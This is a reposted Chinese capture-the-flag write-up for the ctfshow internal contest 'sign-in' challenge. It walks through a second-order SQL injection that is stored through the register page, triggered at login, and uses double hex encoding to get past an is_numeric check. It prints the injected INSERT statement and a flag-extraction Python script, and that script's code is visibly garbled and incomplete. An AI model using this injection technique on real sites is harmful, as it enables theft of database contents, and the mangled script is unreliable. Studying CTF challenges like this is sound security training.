文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfshow-内部赛-签到

2023-09-11 11:42

关注

内部赛-签到

信息收集

​ 注册登录,无收获,扫目录,出源码,代码审计。

代码审计

​ 有三个界面,login.phpregister.phpuser.php,首先关注到的是,SQL语句,发现有两处

$sql ="select username from test1 where email='$e' and password='$p'";

$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'";

可以看到通过email和password选出username,而username是唯一的回显位,那么大概率从此处入手。

解题

​ 如何构造注入。我们需要用到两处地方,即两次对数据库操作的地方,一处用于插入payload,在register.php,一处用于执行payload,在login.php,而且只有login.php有强过滤,在register出可以使用union select,还需要注意一点,在user.php中使用了is_numberic()函数对回显username进行了过滤,只能显示数字,但是没关系,这里通过hex编码绕过,可以查一下,该函数对16进制的字符串当作数字处理。

代码审懂了,但是脚本编写能力确实还欠佳,参考了一下别的师傅的代码,做了一点修改,直接可以跑出答案

代码解读:
为什么不直接选出答案,而是通过循环加substr,因为回显username有字数限制,也可以稍微改大一点,可以加快flag的产生

构造出来的SQL:在username处找flag,至于爆表爆字段改一改就行了,这里很巧妙,通过两段插入点,使用内联注释还有一个注意点,原来的insert的语句使用了换行符,所以p是会被赋值,而不会被#注释掉

insert into test1 set email = '1', username = hex(hex(substr((selectflagfromflag)from1for1))),#',password = '1'
import requestsimport reurl1 = "http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/register.php"url2 = "http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/login.php"flag = ''for i in range(1, 50):    payload = "hex(hex(substr((selectflagfromflag)from" + str(i) + "for1))),#",        'p': i    }    r1 = s.post(url1, data=data1)    data2 = {        'e': i,        'p': i    }    r2 = s.post(url2, data=data2)    t = r2.text    try:        real = re.findall("Hello (.*?),", t)[0]        flag += real    except IndexError:        strs=bytes.fromhex(flag)        strss=bytes.fromhex(strs.decode())        print(strss.decode())        break

在这里插入图片描述

来源地址:https://blog.csdn.net/XYH_233/article/details/129865391

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯